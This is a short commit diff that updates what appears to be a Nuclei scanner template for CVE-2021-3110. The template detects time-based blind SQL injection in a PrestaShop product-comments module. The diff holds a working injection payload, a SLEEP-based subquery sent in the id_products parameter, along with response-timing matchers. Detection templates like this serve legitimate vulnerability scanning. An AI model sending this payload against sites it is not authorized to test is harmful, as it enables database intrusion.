Update cves/2021/CVE-2021-3110.yaml
Co-authored-by: Toufik Airane <toufik.airane@gmail.com>patch-1
parent
bb5589060b
commit
d9dcf035ff
|
@ -11,16 +11,16 @@ info:
|
|||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(5)))xoOt)"
|
||||
- "{{BaseURL}}/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(7)))xoOt)"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "average_grade"
|
||||
- "1 AND (SELECT 3875 FROM (SELECT(SLEEP(5)))xoOt)"
|
||||
condition: and
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'duration>=7'
|
||||
- 200
|
Loading…
Reference in New Issue